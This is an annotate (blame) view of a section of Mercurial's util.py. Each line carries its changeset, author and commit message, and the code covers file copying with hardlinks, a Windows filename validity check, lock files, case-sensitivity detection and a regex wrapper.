bf64449b2779
hardlink: extract topic text logic of copyfiles
Jun Wu <quark@fb.com>
parents:
31678
diff
changeset
|
1267 gettopic = lambda: hardlink and _('linking') or _('copying') |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1268 |
1207 | 1269 if os.path.isdir(src): |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1270 if hardlink is None: |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1271 hardlink = (os.stat(src).st_dev == |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1272 os.stat(os.path.dirname(dst)).st_dev) |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1273 topic = gettopic() |
1207 | 1274 os.mkdir(dst) |
32208
d74b0cff94a9
osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents:
32201
diff
changeset
|
1275 for name, kind in listdir(src): |
1207 | 1276 srcname = os.path.join(src, name) |
1277 dstname = os.path.join(dst, name) | |
24439
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1278 def nprog(t, pos): |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1279 if pos is not None: |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1280 return progress(t, pos + num) |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1281 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1282 num += n |
1207 | 1283 else: |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1284 if hardlink is None: |
31720
dea2a17cbfd0
hardlink: check directory's st_dev when copying files
Jun Wu <quark@fb.com>
parents:
31719
diff
changeset
|
1285 hardlink = (os.stat(os.path.dirname(src)).st_dev == |
31719
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1286 os.stat(os.path.dirname(dst)).st_dev) |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1287 topic = gettopic() |
456efd1b51fd
hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents:
31718
diff
changeset
|
1288 |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1289 if hardlink: |
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1290 try: |
14235
b9e1b041744f
rename util.os_link to oslink
Adrian Buehlmann <adrian@cadifra.com>
parents:
14234
diff
changeset
|
1291 oslink(src, dst) |
2050
e49d0fa38176
util.copyfiles: only switch to copy if hardlink raises IOError or OSError.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2026
diff
changeset
|
1292 except (IOError, OSError): |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1293 hardlink = False |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1294 shutil.copy(src, dst) |
1241
3b4f05ff3130
Add support for cloning with hardlinks on windows.
Stephen Darnell
parents:
1207
diff
changeset
|
1295 else: |
1591
5a3229cf1492
do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
1585
diff
changeset
|
1296 shutil.copy(src, dst) |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1297 num += 1 |
24439
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1298 progress(topic, num) |
2ddfac2f163e
util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents:
24236
diff
changeset
|
1299 progress(topic, None) |
698
df78d8ccac4c
Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
667
diff
changeset
|
1300 |
11251
c61442f6d106
clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents:
11232
diff
changeset
|
1301 return hardlink, num |
11254
640d419725d0
util.copyfiles: don't try os_link() again if it failed before
Adrian Buehlmann <adrian@cadifra.com>
parents:
11010
diff
changeset
|
1302 |
34052
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1303 _winreservednames = { |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1304 'con', 'prn', 'aux', 'nul', |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1305 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9', |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1306 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9', |
ca6a3852daf0
util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents:
34002
diff
changeset
|
1307 } |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
1308 _winreservedchars = ':*?"<>|' |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1309 def checkwinfilename(path): |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1310 r'''Check that the base-relative path is a valid filename on Windows. |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1311 Returns None if the path is ok, or a UI string describing the problem. |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1312 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1313 >>> checkwinfilename(b"just/a/normal/path") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1314 >>> checkwinfilename(b"foo/bar/con.xml") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1315 "filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1316 >>> checkwinfilename(b"foo/con.xml/bar") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1317 "filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1318 >>> checkwinfilename(b"foo/bar/xml.con") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1319 >>> checkwinfilename(b"foo/bar/AUX/bla.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1320 "filename contains 'AUX', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1321 >>> checkwinfilename(b"foo/bar/bla:.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1322 "filename contains ':', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1323 >>> checkwinfilename(b"foo/bar/b\07la.txt") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1324 "filename contains '\\x07', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1325 >>> checkwinfilename(b"foo/bar/bla ") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1326 "filename ends with ' ', which is not allowed on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1327 >>> checkwinfilename(b"../bar") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1328 >>> checkwinfilename(b"foo\\") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1329 "filename ends with '\\', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1330 >>> checkwinfilename(b"foo\\/bar") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1331 "directory name ends with '\\', which is invalid on Windows" |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1332 ''' |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1333 if path.endswith('\\'): |
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1334 return _("filename ends with '\\', which is invalid on Windows") |
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1335 if '\\/' in path: |
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1336 return _("directory name ends with '\\', which is invalid on Windows") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1337 for n in path.replace('\\', '/').split('/'): |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1338 if not n: |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1339 continue |
32572
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
1340 for c in _filenamebytestr(n): |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
1341 if c in _winreservedchars: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1342 return _("filename contains '%s', which is reserved " |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1343 "on Windows") % c |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1344 if ord(c) <= 31: |
34360
f435097d13c9
py3: manually escape control character to be embedded in win filename error
Yuya Nishihara <yuya@tcha.org>
parents:
34357
diff
changeset
|
1345 return _("filename contains '%s', which is invalid " |
f435097d13c9
py3: manually escape control character to be embedded in win filename error
Yuya Nishihara <yuya@tcha.org>
parents:
34357
diff
changeset
|
1346 "on Windows") % escapestr(c) |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1347 base = n.split('.')[0] |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
1348 if base and base.lower() in _winreservednames: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1349 return _("filename contains '%s', which is reserved " |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1350 "on Windows") % base |
34361
7508a7dc95c1
py3: replace bytes[n] with slicing in checkwinfilename()
Yuya Nishihara <yuya@tcha.org>
parents:
34360
diff
changeset
|
1351 t = n[-1:] |
15358
a347b3614bae
util: don't complain about '..' in path components not working on Windows
Matt Mackall <mpm@selenic.com>
parents:
15159
diff
changeset
|
1352 if t in '. ' and n not in '..': |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1353 return _("filename ends with '%s', which is not allowed " |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1354 "on Windows") % t |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1355 |
34645 | 1356 if pycompat.iswindows: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1357 checkosfilename = checkwinfilename |
30974
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1358 timer = time.clock |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1359 else: |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
1360 checkosfilename = platform.checkosfilename |
30974
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1361 timer = time.time |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1362 |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1363 if safehasattr(time, "perf_counter"): |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1364 timer = time.perf_counter |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1365 |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1366 def makelock(info, pathname): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1367 try: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1368 return os.symlink(info, pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1369 except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1370 if why.errno == errno.EEXIST: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1371 raise |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1372 except AttributeError: # no symlink in os |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1373 pass |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1374 |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1375 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1376 os.write(ld, info) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1377 os.close(ld) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1378 |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1379 def readlock(pathname): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1380 try: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1381 return os.readlink(pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1382 except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1383 if why.errno not in (errno.EINVAL, errno.ENOSYS): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1384 raise |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1385 except AttributeError: # no symlink in os |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1386 pass |
13400
14f3795a5ed7
explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13392
diff
changeset
|
1387 fp = posixfile(pathname) |
14f3795a5ed7
explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13392
diff
changeset
|
1388 r = fp.read() |
14f3795a5ed7
explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13392
diff
changeset
|
1389 fp.close() |
14f3795a5ed7
explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13392
diff
changeset
|
1390 return r |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1391 |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1392 def fstat(fp): |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1393 '''stat file object that may not have fileno method.''' |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1394 try: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1395 return os.fstat(fp.fileno()) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1396 except AttributeError: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1397 return os.stat(fp.name) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1398 |
3784 | 1399 # File system features |
1400 | |
29889
6f447b9ec263
util: rename checkcase() to fscasesensitive() (API)
Martin von Zweigbergk <martinvonz@google.com>
parents:
29832
diff
changeset
|
1401 def fscasesensitive(path): |
3784 | 1402 """ |
18911
451eb1c27c1b
util: improve doc for checkcase
Mads Kiilerich <mads@kiilerich.com>
parents:
18868
diff
changeset
|
1403 Return true if the given path is on a case-sensitive filesystem |
3784 | 1404 |
1405 Requires a path (like /foo/.hg) ending with a foldable final | |
1406 directory component. | |
1407 """ | |
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
1408 s1 = os.lstat(path) |
3784 | 1409 d, b = os.path.split(path) |
15667
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1410 b2 = b.upper() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1411 if b == b2: |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1412 b2 = b.lower() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1413 if b == b2: |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1414 return True # no evidence against case sensitivity |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1415 p2 = os.path.join(d, b2) |
3784 | 1416 try: |
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
1417 s2 = os.lstat(p2) |
3784 | 1418 if s2 == s1: |
1419 return False | |
1420 return True | |
14004
97ed99d1f419
eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents:
13985
diff
changeset
|
1421 except OSError: |
3784 | 1422 return True |
1423 | |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1424 try: |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1425 import re2 |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1426 _re2 = None |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1427 except ImportError: |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1428 _re2 = False |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1429 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1430 class _re(object): |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1431 def _checkre2(self): |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1432 global _re2 |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1433 try: |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1434 # check if match works, see issue3964 |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1435 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]')) |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1436 except ImportError: |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1437 _re2 = False |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1438 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1439 def compile(self, pat, flags=0): |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1440 '''Compile a regular expression, using re2 if possible |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1441 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1442 For best performance, use only re2-compatible regexp features. The |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1443 only flags from the re module that are re2-compatible are |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1444 IGNORECASE and MULTILINE.''' |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1445 if _re2 is None: |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
1446 self._checkre2() |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1447 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1448 if flags & remod.IGNORECASE: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1449 pat = '(?i)' + pat |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1450 if flags & remod.MULTILINE: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1451 pat = '(?m)' + pat |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1452 try: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1453 return re2.compile(pat) |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1454 except re2.error: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1455 pass |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1456 return remod.compile(pat, flags) |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
1457 |
21914
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1458 @propertycache |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1459 def escape(self): |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1460 '''Return the version of escape corresponding to self.compile. |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1461 |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1462 This is imperfect because whether re2 or re is used for a particular |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1463 function depends on the flags, etc, but it's the best we can do. |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
1464 ''' |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
